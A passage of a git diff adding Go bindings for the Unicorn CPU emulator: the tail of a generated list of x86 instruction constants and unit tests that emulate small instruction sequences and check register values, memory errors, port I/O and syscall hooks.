= 676 + X86_INS_STI = 677 + X86_INS_STMXCSR = 678 + X86_INS_STOSB = 679 + X86_INS_STOSD = 680 + X86_INS_STOSQ = 681 + X86_INS_STOSW = 682 + X86_INS_STR = 683 + X86_INS_FST = 684 + X86_INS_FSTP = 685 + X86_INS_FSTPNCE = 686 + X86_INS_FXCH = 687 + X86_INS_SUBPD = 688 + X86_INS_SUBPS = 689 + X86_INS_FSUBR = 690 + X86_INS_FISUBR = 691 + X86_INS_FSUBRP = 692 + X86_INS_SUBSD = 693 + X86_INS_SUBSS = 694 + X86_INS_FSUB = 695 + X86_INS_FISUB = 696 + X86_INS_FSUBP = 697 + X86_INS_SWAPGS = 698 + X86_INS_SYSCALL = 699 + X86_INS_SYSENTER = 700 + X86_INS_SYSEXIT = 701 + X86_INS_SYSRET = 702 + X86_INS_T1MSKC = 703 + X86_INS_TEST = 704 + X86_INS_UD2 = 705 + X86_INS_FTST = 706 + X86_INS_TZCNT = 707 + X86_INS_TZMSK = 708 + X86_INS_FUCOMPI = 709 + X86_INS_FUCOMI = 710 + X86_INS_FUCOMPP = 711 + X86_INS_FUCOMP = 712 + X86_INS_FUCOM = 713 + X86_INS_UD2B = 714 + X86_INS_UNPCKHPD = 715 + X86_INS_UNPCKHPS = 716 + X86_INS_UNPCKLPD = 717 + X86_INS_UNPCKLPS = 718 + X86_INS_VADDPD = 719 + X86_INS_VADDPS = 720 + X86_INS_VADDSD = 721 + X86_INS_VADDSS = 722 + X86_INS_VADDSUBPD = 723 + X86_INS_VADDSUBPS = 724 + X86_INS_VAESDECLAST = 725 + X86_INS_VAESDEC = 726 + X86_INS_VAESENCLAST = 727 + X86_INS_VAESENC = 728 + X86_INS_VAESIMC = 729 + X86_INS_VAESKEYGENASSIST = 730 + X86_INS_VALIGND = 731 + X86_INS_VALIGNQ = 732 + X86_INS_VANDNPD = 733 + X86_INS_VANDNPS = 734 + X86_INS_VANDPD = 735 + X86_INS_VANDPS = 736 + X86_INS_VBLENDMPD = 737 + X86_INS_VBLENDMPS = 738 + X86_INS_VBLENDPD = 739 + X86_INS_VBLENDPS = 740 + X86_INS_VBLENDVPD = 741 + X86_INS_VBLENDVPS = 742 + X86_INS_VBROADCASTF128 = 743 + X86_INS_VBROADCASTI32X4 = 744 + X86_INS_VBROADCASTI64X4 = 745 + X86_INS_VBROADCASTSD = 746 + X86_INS_VBROADCASTSS = 747 + X86_INS_VCMPPD = 748 + X86_INS_VCMPPS = 749 + X86_INS_VCMPSD = 750 + X86_INS_VCMPSS = 751 + X86_INS_VCOMPRESSPD = 752 + X86_INS_VCOMPRESSPS = 753 + X86_INS_VCVTDQ2PD = 754 + X86_INS_VCVTDQ2PS = 755 + X86_INS_VCVTPD2DQX = 756 + X86_INS_VCVTPD2DQ = 757 + X86_INS_VCVTPD2PSX = 758 + X86_INS_VCVTPD2PS = 759 + X86_INS_VCVTPD2UDQ = 760 + X86_INS_VCVTPH2PS = 761 + X86_INS_VCVTPS2DQ = 762 + X86_INS_VCVTPS2PD = 763 + X86_INS_VCVTPS2PH = 764 + X86_INS_VCVTPS2UDQ = 765 + X86_INS_VCVTSD2SI = 766 + X86_INS_VCVTSD2USI = 767 + X86_INS_VCVTSS2SI = 768 + X86_INS_VCVTSS2USI = 769 + X86_INS_VCVTTPD2DQX = 770 + X86_INS_VCVTTPD2DQ = 771 + X86_INS_VCVTTPD2UDQ = 772 + X86_INS_VCVTTPS2DQ = 773 + X86_INS_VCVTTPS2UDQ = 774 + X86_INS_VCVTUDQ2PD = 775 + X86_INS_VCVTUDQ2PS = 776 + X86_INS_VDIVPD = 777 + X86_INS_VDIVPS = 778 + X86_INS_VDIVSD = 779 + X86_INS_VDIVSS = 780 + X86_INS_VDPPD = 781 + X86_INS_VDPPS = 782 + X86_INS_VERR = 783 + X86_INS_VERW = 784 + X86_INS_VEXP2PD = 785 + X86_INS_VEXP2PS = 786 + X86_INS_VEXPANDPD = 787 + X86_INS_VEXPANDPS = 788 + X86_INS_VEXTRACTF128 = 789 + X86_INS_VEXTRACTF32X4 = 790 + X86_INS_VEXTRACTF64X4 = 791 + X86_INS_VEXTRACTI128 = 792 + X86_INS_VEXTRACTI32X4 = 793 + X86_INS_VEXTRACTI64X4 = 794 + X86_INS_VEXTRACTPS = 795 + X86_INS_VFMADD132PD = 796 + X86_INS_VFMADD132PS = 797 + X86_INS_VFMADDPD = 798 + X86_INS_VFMADD213PD = 799 + X86_INS_VFMADD231PD = 800 + X86_INS_VFMADDPS = 801 + X86_INS_VFMADD213PS = 802 + X86_INS_VFMADD231PS = 803 + X86_INS_VFMADDSD = 804 + X86_INS_VFMADD213SD = 805 + X86_INS_VFMADD132SD = 806 + X86_INS_VFMADD231SD = 807 + X86_INS_VFMADDSS = 808 + X86_INS_VFMADD213SS = 809 + X86_INS_VFMADD132SS = 810 + X86_INS_VFMADD231SS = 811 + X86_INS_VFMADDSUB132PD = 812 + X86_INS_VFMADDSUB132PS = 813 + X86_INS_VFMADDSUBPD = 814 + X86_INS_VFMADDSUB213PD = 815 + X86_INS_VFMADDSUB231PD = 816 + X86_INS_VFMADDSUBPS = 817 + X86_INS_VFMADDSUB213PS = 818 + X86_INS_VFMADDSUB231PS = 819 + X86_INS_VFMSUB132PD = 820 + X86_INS_VFMSUB132PS = 821 + X86_INS_VFMSUBADD132PD = 822 + X86_INS_VFMSUBADD132PS = 823 + X86_INS_VFMSUBADDPD = 824 + X86_INS_VFMSUBADD213PD = 825 + X86_INS_VFMSUBADD231PD = 826 + X86_INS_VFMSUBADDPS = 827 + X86_INS_VFMSUBADD213PS = 828 + X86_INS_VFMSUBADD231PS = 829 + X86_INS_VFMSUBPD = 830 + X86_INS_VFMSUB213PD = 831 + X86_INS_VFMSUB231PD = 832 + X86_INS_VFMSUBPS = 833 + X86_INS_VFMSUB213PS = 834 + X86_INS_VFMSUB231PS = 835 + X86_INS_VFMSUBSD = 836 + X86_INS_VFMSUB213SD = 837 + X86_INS_VFMSUB132SD = 838 + X86_INS_VFMSUB231SD = 839 + X86_INS_VFMSUBSS = 840 + X86_INS_VFMSUB213SS = 841 + X86_INS_VFMSUB132SS = 842 + X86_INS_VFMSUB231SS = 843 + X86_INS_VFNMADD132PD = 844 + X86_INS_VFNMADD132PS = 845 + X86_INS_VFNMADDPD = 846 + X86_INS_VFNMADD213PD = 847 + X86_INS_VFNMADD231PD = 848 + X86_INS_VFNMADDPS = 849 + X86_INS_VFNMADD213PS = 850 + X86_INS_VFNMADD231PS = 851 + X86_INS_VFNMADDSD = 852 + X86_INS_VFNMADD213SD = 853 + X86_INS_VFNMADD132SD = 854 + X86_INS_VFNMADD231SD = 855 + X86_INS_VFNMADDSS = 856 + X86_INS_VFNMADD213SS = 857 + X86_INS_VFNMADD132SS = 858 + X86_INS_VFNMADD231SS = 859 + X86_INS_VFNMSUB132PD = 860 + X86_INS_VFNMSUB132PS = 861 + X86_INS_VFNMSUBPD = 862 + X86_INS_VFNMSUB213PD = 863 + X86_INS_VFNMSUB231PD = 864 + X86_INS_VFNMSUBPS = 865 + X86_INS_VFNMSUB213PS = 866 + X86_INS_VFNMSUB231PS = 867 + X86_INS_VFNMSUBSD = 868 + X86_INS_VFNMSUB213SD = 869 + X86_INS_VFNMSUB132SD = 870 + X86_INS_VFNMSUB231SD = 871 + X86_INS_VFNMSUBSS = 872 + X86_INS_VFNMSUB213SS = 873 + X86_INS_VFNMSUB132SS = 874 + X86_INS_VFNMSUB231SS = 875 + X86_INS_VFRCZPD = 876 + X86_INS_VFRCZPS = 877 + X86_INS_VFRCZSD = 878 + X86_INS_VFRCZSS = 879 + X86_INS_VORPD = 880 + X86_INS_VORPS = 881 + X86_INS_VXORPD = 882 + X86_INS_VXORPS = 883 + X86_INS_VGATHERDPD = 884 + X86_INS_VGATHERDPS = 885 + X86_INS_VGATHERPF0DPD = 886 + X86_INS_VGATHERPF0DPS = 887 + X86_INS_VGATHERPF0QPD = 888 + X86_INS_VGATHERPF0QPS = 889 + X86_INS_VGATHERPF1DPD = 890 + X86_INS_VGATHERPF1DPS = 891 + X86_INS_VGATHERPF1QPD = 892 + X86_INS_VGATHERPF1QPS = 893 + X86_INS_VGATHERQPD = 894 + X86_INS_VGATHERQPS = 895 + X86_INS_VHADDPD = 896 + X86_INS_VHADDPS = 897 + X86_INS_VHSUBPD = 898 + X86_INS_VHSUBPS = 899 + X86_INS_VINSERTF128 = 900 + X86_INS_VINSERTF32X4 = 901 + X86_INS_VINSERTF32X8 = 902 + X86_INS_VINSERTF64X2 = 903 + X86_INS_VINSERTF64X4 = 904 + X86_INS_VINSERTI128 = 905 + X86_INS_VINSERTI32X4 = 906 + X86_INS_VINSERTI32X8 = 907 + X86_INS_VINSERTI64X2 = 908 + X86_INS_VINSERTI64X4 = 909 + X86_INS_VINSERTPS = 910 + X86_INS_VLDDQU = 911 + X86_INS_VLDMXCSR = 912 + X86_INS_VMASKMOVDQU = 913 + X86_INS_VMASKMOVPD = 914 + X86_INS_VMASKMOVPS = 915 + X86_INS_VMAXPD = 916 + X86_INS_VMAXPS = 917 + X86_INS_VMAXSD = 918 + X86_INS_VMAXSS = 919 + X86_INS_VMCALL = 920 + X86_INS_VMCLEAR = 921 + X86_INS_VMFUNC = 922 + X86_INS_VMINPD = 923 + X86_INS_VMINPS = 924 + X86_INS_VMINSD = 925 + X86_INS_VMINSS = 926 + X86_INS_VMLAUNCH = 927 + X86_INS_VMLOAD = 928 + X86_INS_VMMCALL = 929 + X86_INS_VMOVQ = 930 + X86_INS_VMOVDDUP = 931 + X86_INS_VMOVD = 932 + X86_INS_VMOVDQA32 = 933 + X86_INS_VMOVDQA64 = 934 + X86_INS_VMOVDQA = 935 + X86_INS_VMOVDQU16 = 936 + X86_INS_VMOVDQU32 = 937 + X86_INS_VMOVDQU64 = 938 + X86_INS_VMOVDQU8 = 939 + X86_INS_VMOVDQU = 940 + X86_INS_VMOVHLPS = 941 + X86_INS_VMOVHPD = 942 + X86_INS_VMOVHPS = 943 + X86_INS_VMOVLHPS = 944 + X86_INS_VMOVLPD = 945 + X86_INS_VMOVLPS = 946 + X86_INS_VMOVMSKPD = 947 + X86_INS_VMOVMSKPS = 948 + X86_INS_VMOVNTDQA = 949 + X86_INS_VMOVNTDQ = 950 + X86_INS_VMOVNTPD = 951 + X86_INS_VMOVNTPS = 952 + X86_INS_VMOVSD = 953 + X86_INS_VMOVSHDUP = 954 + X86_INS_VMOVSLDUP = 955 + X86_INS_VMOVSS = 956 + X86_INS_VMOVUPD = 957 + X86_INS_VMOVUPS = 958 + X86_INS_VMPSADBW = 959 + X86_INS_VMPTRLD = 960 + X86_INS_VMPTRST = 961 + X86_INS_VMREAD = 962 + X86_INS_VMRESUME = 963 + X86_INS_VMRUN = 964 + X86_INS_VMSAVE = 965 + X86_INS_VMULPD = 966 + X86_INS_VMULPS = 967 + X86_INS_VMULSD = 968 + X86_INS_VMULSS = 969 + X86_INS_VMWRITE = 970 + X86_INS_VMXOFF = 971 + X86_INS_VMXON = 972 + X86_INS_VPABSB = 973 + X86_INS_VPABSD = 974 + X86_INS_VPABSQ = 975 + X86_INS_VPABSW = 976 + X86_INS_VPACKSSDW = 977 + X86_INS_VPACKSSWB = 978 + X86_INS_VPACKUSDW = 979 + X86_INS_VPACKUSWB = 980 + X86_INS_VPADDB = 981 + X86_INS_VPADDD = 982 + X86_INS_VPADDQ = 983 + X86_INS_VPADDSB = 984 + X86_INS_VPADDSW = 985 + X86_INS_VPADDUSB = 986 + X86_INS_VPADDUSW = 987 + X86_INS_VPADDW = 988 + X86_INS_VPALIGNR = 989 + X86_INS_VPANDD = 990 + X86_INS_VPANDND = 991 + X86_INS_VPANDNQ = 992 + X86_INS_VPANDN = 993 + X86_INS_VPANDQ = 994 + X86_INS_VPAND = 995 + X86_INS_VPAVGB = 996 + X86_INS_VPAVGW = 997 + X86_INS_VPBLENDD = 998 + X86_INS_VPBLENDMB = 999 + X86_INS_VPBLENDMD = 1000 + X86_INS_VPBLENDMQ = 1001 + X86_INS_VPBLENDMW = 1002 + X86_INS_VPBLENDVB = 1003 + X86_INS_VPBLENDW = 1004 + X86_INS_VPBROADCASTB = 1005 + X86_INS_VPBROADCASTD = 1006 + X86_INS_VPBROADCASTMB2Q = 1007 + X86_INS_VPBROADCASTMW2D = 1008 + X86_INS_VPBROADCASTQ = 1009 + X86_INS_VPBROADCASTW = 1010 + X86_INS_VPCLMULQDQ = 1011 + X86_INS_VPCMOV = 1012 + X86_INS_VPCMPB = 1013 + X86_INS_VPCMPD = 1014 + X86_INS_VPCMPEQB = 1015 + X86_INS_VPCMPEQD = 1016 + X86_INS_VPCMPEQQ = 1017 + X86_INS_VPCMPEQW = 1018 + X86_INS_VPCMPESTRI = 1019 + X86_INS_VPCMPESTRM = 1020 + X86_INS_VPCMPGTB = 1021 + X86_INS_VPCMPGTD = 1022 + X86_INS_VPCMPGTQ = 1023 + X86_INS_VPCMPGTW = 1024 + X86_INS_VPCMPISTRI = 1025 + X86_INS_VPCMPISTRM = 1026 + X86_INS_VPCMPQ = 1027 + X86_INS_VPCMPUB = 1028 + X86_INS_VPCMPUD = 1029 + X86_INS_VPCMPUQ = 1030 + X86_INS_VPCMPUW = 1031 + X86_INS_VPCMPW = 1032 + X86_INS_VPCOMB = 1033 + X86_INS_VPCOMD = 1034 + X86_INS_VPCOMPRESSD = 1035 + X86_INS_VPCOMPRESSQ = 1036 + X86_INS_VPCOMQ = 1037 + X86_INS_VPCOMUB = 1038 + X86_INS_VPCOMUD = 1039 + X86_INS_VPCOMUQ = 1040 + X86_INS_VPCOMUW = 1041 + X86_INS_VPCOMW = 1042 + X86_INS_VPCONFLICTD = 1043 + X86_INS_VPCONFLICTQ = 1044 + X86_INS_VPERM2F128 = 1045 + X86_INS_VPERM2I128 = 1046 + X86_INS_VPERMD = 1047 + X86_INS_VPERMI2D = 1048 + X86_INS_VPERMI2PD = 1049 + X86_INS_VPERMI2PS = 1050 + X86_INS_VPERMI2Q = 1051 + X86_INS_VPERMIL2PD = 1052 + X86_INS_VPERMIL2PS = 1053 + X86_INS_VPERMILPD = 1054 + X86_INS_VPERMILPS = 1055 + X86_INS_VPERMPD = 1056 + X86_INS_VPERMPS = 1057 + X86_INS_VPERMQ = 1058 + X86_INS_VPERMT2D = 1059 + X86_INS_VPERMT2PD = 1060 + X86_INS_VPERMT2PS = 1061 + X86_INS_VPERMT2Q = 1062 + X86_INS_VPEXPANDD = 1063 + X86_INS_VPEXPANDQ = 1064 + X86_INS_VPEXTRB = 1065 + X86_INS_VPEXTRD = 1066 + X86_INS_VPEXTRQ = 1067 + X86_INS_VPEXTRW = 1068 + X86_INS_VPGATHERDD = 1069 + X86_INS_VPGATHERDQ = 1070 + X86_INS_VPGATHERQD = 1071 + X86_INS_VPGATHERQQ = 1072 + X86_INS_VPHADDBD = 1073 + X86_INS_VPHADDBQ = 1074 + X86_INS_VPHADDBW = 1075 + X86_INS_VPHADDDQ = 1076 + X86_INS_VPHADDD = 1077 + X86_INS_VPHADDSW = 1078 + X86_INS_VPHADDUBD = 1079 + X86_INS_VPHADDUBQ = 1080 + X86_INS_VPHADDUBW = 1081 + X86_INS_VPHADDUDQ = 1082 + X86_INS_VPHADDUWD = 1083 + X86_INS_VPHADDUWQ = 1084 + X86_INS_VPHADDWD = 1085 + X86_INS_VPHADDWQ = 1086 + X86_INS_VPHADDW = 1087 + X86_INS_VPHMINPOSUW = 1088 + X86_INS_VPHSUBBW = 1089 + X86_INS_VPHSUBDQ = 1090 + X86_INS_VPHSUBD = 1091 + X86_INS_VPHSUBSW = 1092 + X86_INS_VPHSUBWD = 1093 + X86_INS_VPHSUBW = 1094 + X86_INS_VPINSRB = 1095 + X86_INS_VPINSRD = 1096 + X86_INS_VPINSRQ = 1097 + X86_INS_VPINSRW = 1098 + X86_INS_VPLZCNTD = 1099 + X86_INS_VPLZCNTQ = 1100 + X86_INS_VPMACSDD = 1101 + X86_INS_VPMACSDQH = 1102 + X86_INS_VPMACSDQL = 1103 + X86_INS_VPMACSSDD = 1104 + X86_INS_VPMACSSDQH = 1105 + X86_INS_VPMACSSDQL = 1106 + X86_INS_VPMACSSWD = 1107 + X86_INS_VPMACSSWW = 1108 + X86_INS_VPMACSWD = 1109 + X86_INS_VPMACSWW = 1110 + X86_INS_VPMADCSSWD = 1111 + X86_INS_VPMADCSWD = 1112 + X86_INS_VPMADDUBSW = 1113 + X86_INS_VPMADDWD = 1114 + X86_INS_VPMASKMOVD = 1115 + X86_INS_VPMASKMOVQ = 1116 + X86_INS_VPMAXSB = 1117 + X86_INS_VPMAXSD = 1118 + X86_INS_VPMAXSQ = 1119 + X86_INS_VPMAXSW = 1120 + X86_INS_VPMAXUB = 1121 + X86_INS_VPMAXUD = 1122 + X86_INS_VPMAXUQ = 1123 + X86_INS_VPMAXUW = 1124 + X86_INS_VPMINSB = 1125 + X86_INS_VPMINSD = 1126 + X86_INS_VPMINSQ = 1127 + X86_INS_VPMINSW = 1128 + X86_INS_VPMINUB = 1129 + X86_INS_VPMINUD = 1130 + X86_INS_VPMINUQ = 1131 + X86_INS_VPMINUW = 1132 + X86_INS_VPMOVDB = 1133 + X86_INS_VPMOVDW = 1134 + X86_INS_VPMOVM2B = 1135 + X86_INS_VPMOVM2D = 1136 + X86_INS_VPMOVM2Q = 1137 + X86_INS_VPMOVM2W = 1138 + X86_INS_VPMOVMSKB = 1139 + X86_INS_VPMOVQB = 1140 + X86_INS_VPMOVQD = 1141 + X86_INS_VPMOVQW = 1142 + X86_INS_VPMOVSDB = 1143 + X86_INS_VPMOVSDW = 1144 + X86_INS_VPMOVSQB = 1145 + X86_INS_VPMOVSQD = 1146 + X86_INS_VPMOVSQW = 1147 + X86_INS_VPMOVSXBD = 1148 + X86_INS_VPMOVSXBQ = 1149 + X86_INS_VPMOVSXBW = 1150 + X86_INS_VPMOVSXDQ = 1151 + X86_INS_VPMOVSXWD = 1152 + X86_INS_VPMOVSXWQ = 1153 + X86_INS_VPMOVUSDB = 1154 + X86_INS_VPMOVUSDW = 1155 + X86_INS_VPMOVUSQB = 1156 + X86_INS_VPMOVUSQD = 1157 + X86_INS_VPMOVUSQW = 1158 + X86_INS_VPMOVZXBD = 1159 + X86_INS_VPMOVZXBQ = 1160 + X86_INS_VPMOVZXBW = 1161 + X86_INS_VPMOVZXDQ = 1162 + X86_INS_VPMOVZXWD = 1163 + X86_INS_VPMOVZXWQ = 1164 + X86_INS_VPMULDQ = 1165 + X86_INS_VPMULHRSW = 1166 + X86_INS_VPMULHUW = 1167 + X86_INS_VPMULHW = 1168 + X86_INS_VPMULLD = 1169 + X86_INS_VPMULLQ = 1170 + X86_INS_VPMULLW = 1171 + X86_INS_VPMULUDQ = 1172 + X86_INS_VPORD = 1173 + X86_INS_VPORQ = 1174 + X86_INS_VPOR = 1175 + X86_INS_VPPERM = 1176 + X86_INS_VPROTB = 1177 + X86_INS_VPROTD = 1178 + X86_INS_VPROTQ = 1179 + X86_INS_VPROTW = 1180 + X86_INS_VPSADBW = 1181 + X86_INS_VPSCATTERDD = 1182 + X86_INS_VPSCATTERDQ = 1183 + X86_INS_VPSCATTERQD = 1184 + X86_INS_VPSCATTERQQ = 1185 + X86_INS_VPSHAB = 1186 + X86_INS_VPSHAD = 1187 + X86_INS_VPSHAQ = 1188 + X86_INS_VPSHAW = 1189 + X86_INS_VPSHLB = 1190 + X86_INS_VPSHLD = 1191 + X86_INS_VPSHLQ = 1192 + X86_INS_VPSHLW = 1193 + X86_INS_VPSHUFB = 1194 + X86_INS_VPSHUFD = 1195 + X86_INS_VPSHUFHW = 1196 + X86_INS_VPSHUFLW = 1197 + X86_INS_VPSIGNB = 1198 + X86_INS_VPSIGND = 1199 + X86_INS_VPSIGNW = 1200 + X86_INS_VPSLLDQ = 1201 + X86_INS_VPSLLD = 1202 + X86_INS_VPSLLQ = 1203 + X86_INS_VPSLLVD = 1204 + X86_INS_VPSLLVQ = 1205 + X86_INS_VPSLLW = 1206 + X86_INS_VPSRAD = 1207 + X86_INS_VPSRAQ = 1208 + X86_INS_VPSRAVD = 1209 + X86_INS_VPSRAVQ = 1210 + X86_INS_VPSRAW = 1211 + X86_INS_VPSRLDQ = 1212 + X86_INS_VPSRLD = 1213 + X86_INS_VPSRLQ = 1214 + X86_INS_VPSRLVD = 1215 + X86_INS_VPSRLVQ = 1216 + X86_INS_VPSRLW = 1217 + X86_INS_VPSUBB = 1218 + X86_INS_VPSUBD = 1219 + X86_INS_VPSUBQ = 1220 + X86_INS_VPSUBSB = 1221 + X86_INS_VPSUBSW = 1222 + X86_INS_VPSUBUSB = 1223 + X86_INS_VPSUBUSW = 1224 + X86_INS_VPSUBW = 1225 + X86_INS_VPTESTMD = 1226 + X86_INS_VPTESTMQ = 1227 + X86_INS_VPTESTNMD = 1228 + X86_INS_VPTESTNMQ = 1229 + X86_INS_VPTEST = 1230 + X86_INS_VPUNPCKHBW = 1231 + X86_INS_VPUNPCKHDQ = 1232 + X86_INS_VPUNPCKHQDQ = 1233 + X86_INS_VPUNPCKHWD = 1234 + X86_INS_VPUNPCKLBW = 1235 + X86_INS_VPUNPCKLDQ = 1236 + X86_INS_VPUNPCKLQDQ = 1237 + X86_INS_VPUNPCKLWD = 1238 + X86_INS_VPXORD = 1239 + X86_INS_VPXORQ = 1240 + X86_INS_VPXOR = 1241 + X86_INS_VRCP14PD = 1242 + X86_INS_VRCP14PS = 1243 + X86_INS_VRCP14SD = 1244 + X86_INS_VRCP14SS = 1245 + X86_INS_VRCP28PD = 1246 + X86_INS_VRCP28PS = 1247 + X86_INS_VRCP28SD = 1248 + X86_INS_VRCP28SS = 1249 + X86_INS_VRCPPS = 1250 + X86_INS_VRCPSS = 1251 + X86_INS_VRNDSCALEPD = 1252 + X86_INS_VRNDSCALEPS = 1253 + X86_INS_VRNDSCALESD = 1254 + X86_INS_VRNDSCALESS = 1255 + X86_INS_VROUNDPD = 1256 + X86_INS_VROUNDPS = 1257 + X86_INS_VROUNDSD = 1258 + X86_INS_VROUNDSS = 1259 + X86_INS_VRSQRT14PD = 1260 + X86_INS_VRSQRT14PS = 1261 + X86_INS_VRSQRT14SD = 1262 + X86_INS_VRSQRT14SS = 1263 + X86_INS_VRSQRT28PD = 1264 + X86_INS_VRSQRT28PS = 1265 + X86_INS_VRSQRT28SD = 1266 + X86_INS_VRSQRT28SS = 1267 + X86_INS_VRSQRTPS = 1268 + X86_INS_VRSQRTSS = 1269 + X86_INS_VSCATTERDPD = 1270 + X86_INS_VSCATTERDPS = 1271 + X86_INS_VSCATTERPF0DPD = 1272 + X86_INS_VSCATTERPF0DPS = 1273 + X86_INS_VSCATTERPF0QPD = 1274 + X86_INS_VSCATTERPF0QPS = 1275 + X86_INS_VSCATTERPF1DPD = 1276 + X86_INS_VSCATTERPF1DPS = 1277 + X86_INS_VSCATTERPF1QPD = 1278 + X86_INS_VSCATTERPF1QPS = 1279 + X86_INS_VSCATTERQPD = 1280 + X86_INS_VSCATTERQPS = 1281 + X86_INS_VSHUFPD = 1282 + X86_INS_VSHUFPS = 1283 + X86_INS_VSQRTPD = 1284 + X86_INS_VSQRTPS = 1285 + X86_INS_VSQRTSD = 1286 + X86_INS_VSQRTSS = 1287 + X86_INS_VSTMXCSR = 1288 + X86_INS_VSUBPD = 1289 + X86_INS_VSUBPS = 1290 + X86_INS_VSUBSD = 1291 + X86_INS_VSUBSS = 1292 + X86_INS_VTESTPD = 1293 + X86_INS_VTESTPS = 1294 + X86_INS_VUNPCKHPD = 1295 + X86_INS_VUNPCKHPS = 1296 + X86_INS_VUNPCKLPD = 1297 + X86_INS_VUNPCKLPS = 1298 + X86_INS_VZEROALL = 1299 + X86_INS_VZEROUPPER = 1300 + X86_INS_WAIT = 1301 + X86_INS_WBINVD = 1302 + X86_INS_WRFSBASE = 1303 + X86_INS_WRGSBASE = 1304 + X86_INS_WRMSR = 1305 + X86_INS_XABORT = 1306 + X86_INS_XACQUIRE = 1307 + X86_INS_XBEGIN = 1308 + X86_INS_XCHG = 1309 + X86_INS_XCRYPTCBC = 1310 + X86_INS_XCRYPTCFB = 1311 + X86_INS_XCRYPTCTR = 1312 + X86_INS_XCRYPTECB = 1313 + X86_INS_XCRYPTOFB = 1314 + X86_INS_XEND = 1315 + X86_INS_XGETBV = 1316 + X86_INS_XLATB = 1317 + X86_INS_XRELEASE = 1318 + X86_INS_XRSTOR = 1319 + X86_INS_XRSTOR64 = 1320 + X86_INS_XRSTORS = 1321 + X86_INS_XRSTORS64 = 1322 + X86_INS_XSAVE = 1323 + X86_INS_XSAVE64 = 1324 + X86_INS_XSAVEC = 1325 + X86_INS_XSAVEC64 = 1326 + X86_INS_XSAVEOPT = 1327 + X86_INS_XSAVEOPT64 = 1328 + X86_INS_XSAVES = 1329 + X86_INS_XSAVES64 = 1330 + X86_INS_XSETBV = 1331 + X86_INS_XSHA1 = 1332 + X86_INS_XSHA256 = 1333 + X86_INS_XSTORE = 1334 + X86_INS_XTEST = 1335 + X86_INS_FDISI8087_NOP = 1336 + X86_INS_FENI8087_NOP = 1337 + X86_INS_ENDING = 1338 +) \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/x86_test.go b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/x86_test.go new file mode 100644 index 0000000..803c646 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/x86_test.go @@ -0,0 +1,185 @@ +package unicorn + +import ( + "testing" +) + +var ADDRESS uint64 = 0x1000000 + +func MakeUc(mode int, code string) (Unicorn, error) { + mu, err := NewUnicorn(ARCH_X86, mode) + if err != nil { + return nil, err + } + if err := mu.MemMap(ADDRESS, 2*1024*1024); err != nil { + return nil, err + } + if err := mu.MemWrite(ADDRESS, []byte(code)); err != nil { + return nil, err + } + if err := mu.RegWrite(X86_REG_ECX, 0x1234); err != nil { + return nil, err + } + if err := mu.RegWrite(X86_REG_EDX, 0x7890); err != nil { + return nil, err + } + return mu, nil +} + +func TestX86(t *testing.T) { + code := "\x41\x4a" + mu, err := MakeUc(MODE_32, code) + if err != nil { + t.Fatal(err) + } + if err := mu.Start(ADDRESS, ADDRESS+uint64(len(code))); err != nil { + t.Fatal(err) + } + ecx, _ := mu.RegRead(X86_REG_ECX) + edx, _ := mu.RegRead(X86_REG_EDX) + if ecx != 0x1235 || edx != 0x788f { + t.Fatal("Bad register values.") + } +} + +func TestX86InvalidRead(t *testing.T) { + code := "\x8B\x0D\xAA\xAA\xAA\xAA\x41\x4a" + mu, err := MakeUc(MODE_32, code) + if err != nil { + t.Fatal(err) + } + err = mu.Start(ADDRESS, ADDRESS+uint64(len(code))) + if err.(UcError) != ERR_READ_UNMAPPED { + t.Fatal("Expected ERR_READ_INVALID") + } + ecx, _ := mu.RegRead(X86_REG_ECX) + edx, _ := mu.RegRead(X86_REG_EDX) + if ecx != 0x1234 || edx != 0x7890 { + t.Fatal("Bad register values.") + } +} + +func TestX86InvalidWrite(t *testing.T) { + code := "\x89\x0D\xAA\xAA\xAA\xAA\x41\x4a" + mu, err := MakeUc(MODE_32, code) + if err != nil { + t.Fatal(err) + } + err = mu.Start(ADDRESS, ADDRESS+uint64(len(code))) + if err.(UcError) != ERR_WRITE_UNMAPPED { + t.Fatal("Expected ERR_WRITE_INVALID") + } + ecx, _ := mu.RegRead(X86_REG_ECX) + edx, _ := mu.RegRead(X86_REG_EDX) + if ecx != 0x1234 || edx != 0x7890 { + t.Fatal("Bad register values.") + } +} + +func TestX86InOut(t *testing.T) { + code := "\x41\xE4\x3F\x4a\xE6\x46\x43" + mu, err := MakeUc(MODE_32, code) + if err != nil { + t.Fatal(err) + } + var outVal uint64 + var inCalled, outCalled bool + mu.HookAdd(HOOK_INSN, func(_ Unicorn, port, size uint32) uint32 { + inCalled = true + switch size { + case 1: + return 0xf1 + case 2: + return 0xf2 + case 4: + return 0xf4 + default: + return 0 + } + }, 1, 0, X86_INS_IN) + mu.HookAdd(HOOK_INSN, func(_ Unicorn, port, size, value uint32) { + outCalled = true + var err error + switch size { + case 1: + outVal, err = mu.RegRead(X86_REG_AL) + case 2: + outVal, err = mu.RegRead(X86_REG_AX) + case 4: + outVal, err = mu.RegRead(X86_REG_EAX) + } + if err != nil { + t.Fatal(err) + } + }, 1, 0, X86_INS_OUT) + if err := mu.Start(ADDRESS, ADDRESS+uint64(len(code))); err != nil { + t.Fatal(err) + } + if !inCalled || !outCalled { + t.Fatal("Ports not accessed.") + } + if outVal != 0xf1 { + t.Fatal("Incorrect OUT value.") + } +} + +func TestX86Syscall(t *testing.T) { + code := "\x0f\x05" + mu, err := MakeUc(MODE_64, code) + if err != nil { + t.Fatal(err) + } + mu.HookAdd(HOOK_INSN, func(_ Unicorn) { + rax, _ := mu.RegRead(X86_REG_RAX) + mu.RegWrite(X86_REG_RAX, rax+1) + }, 1, 0, X86_INS_SYSCALL) + mu.RegWrite(X86_REG_RAX, 0x100) + err = mu.Start(ADDRESS, ADDRESS+uint64(len(code))) + if err != nil { + t.Fatal(err) + } + v, _ := mu.RegRead(X86_REG_RAX) + if v != 0x101 { + t.Fatal("Incorrect syscall return value.") + } +} + +func TestX86Mmr(t *testing.T) { + mu, err := MakeUc(MODE_64, "") + if err != nil { + t.Fatal(err) + } + err = mu.RegWriteMmr(X86_REG_GDTR, &X86Mmr{Selector: 0, Base: 0x1000, Limit: 0x1fff, Flags: 0}) + if err != nil { + t.Fatal(err) + } + mmr, err := mu.RegReadMmr(X86_REG_GDTR) + if mmr.Selector != 0 || mmr.Base != 0x1000 || mmr.Limit != 0x1fff || mmr.Flags != 0 { + t.Fatalf("mmr read failed: %#v", 